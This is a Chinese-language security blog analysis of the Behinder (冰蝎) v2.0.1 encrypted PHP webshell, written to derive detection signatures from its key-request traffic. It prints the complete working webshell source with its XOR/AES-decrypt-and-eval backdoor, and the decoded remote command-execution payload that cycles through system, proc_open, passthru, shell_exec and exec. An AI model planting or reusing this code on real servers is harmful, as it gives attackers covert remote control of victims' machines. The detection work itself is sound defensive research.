冰蝎动态二进制加密WebShell的检测

中国菜刀等工具管理WebShell的时候会有一些固定的特征,容易被WAF或者IPS检测到,最近1年出来了个动态加密的WebShell管理工具,给检测带来了一定的困难,所以写个文章简单解剖一下。

注:本文只针对当前的最新版冰蝎(Behinder) v2.0.1,以PHP WebShell为例,其他WebShell只是有细微的差别,有兴趣可以自行研究。

 

实验环境

客户端: Windows 7 + 冰蝎(Behinder) v2.0.1服务端:Ubuntu 16.04 + Apache + PHP
Webshell文件分析以php为例
<?php
@error_reporting(0);
session_start();
if (isset($_GET['pass']))
{
    $key=substr(md5(uniqid(rand())),16);
    $_SESSION['k']=$key;
    print $key;
}
else
{
    $key=$_SESSION['k'];
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __construct($p) {eval($p."");}}
	@new C($params);
}
?>

其实就两个功能

1、首先存在pass参数的情况(其实这个就是通常所说的一句话木马),就是通过截取随机数的md5的高16位作为密钥,保存在服务器的全局 $_SESSION变量中,同时打印出来,这样客户端接收到就可以用这个密钥进行通信了。2、假如不带参数,就是加密通信的过程。假如PHP不存在OpenSSL这个extension,就是用base64解码后,使用key进行循环异或解密。而存在OpenSSL就使用AES128进行解密。基于上面分析可以得到通信流程:
下面我们看看实际通信流量。
数据包分析
通过在服务器上传WebShell,客户端连接后通过wireshark抓取数据包。
可以看到请求了两次密钥才开始真正的POST通信,接下来的通信,就是AES128加密后的base64密文。
所以我们检测只能从请求密钥阶段入手了。
通过获取密钥的数据包,我们发现以下特征:
1、使用GET方法
2、参数名即木马的密码(这个可以修改,不能作为特征),但是参数值为纯数字可以作为特征,暂时来看应该1到5位数字可以匹配到了,保险一点可以1-8都可以
3、请求中有HEADER字段:Content-type: application/x-www-form-urlencoded
4、响应中会有Content-Length: 16
5、当然响应的body肯定也是16长度,而且字符是16进制的字符,即[0-9a-f]通信过程实际发送的payload通过在WebShell中加入如下代码,即可获得解密后的payload。

获得的如下:(由于base64_decode后面的比较长所以省略了)

assert|eval(base64_decode(‘QGVycm9yX3JlcG9ydGluZygwKTsNCg0KZnVuY…………………………’));

所以它就是将字符串base64解密之后通过eval执行。

解码上面的base64串得到下面真正的代码(以命令执行为例的代码):

@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="whoami";
main($cmd);

可以看到考虑了编码问题,还有一些执行命令的函数被禁用的问题,最后输出结构也是AES128加密的。只需更换倒数第二行$cmd的”whoami”,就可以执行其他指令。

 

总结

攻防是不断对抗升级的,冰蝎虽然通信过程加密,但是请求密钥阶段有很多特征,假如将请求密钥阶段特征抹掉,那么我们防御端会更加难以检查。

<作者:陆巨枝-绿盟科技网络攻防实验室>

Spread the word. Share this post!

Meet The Author

Leave Comment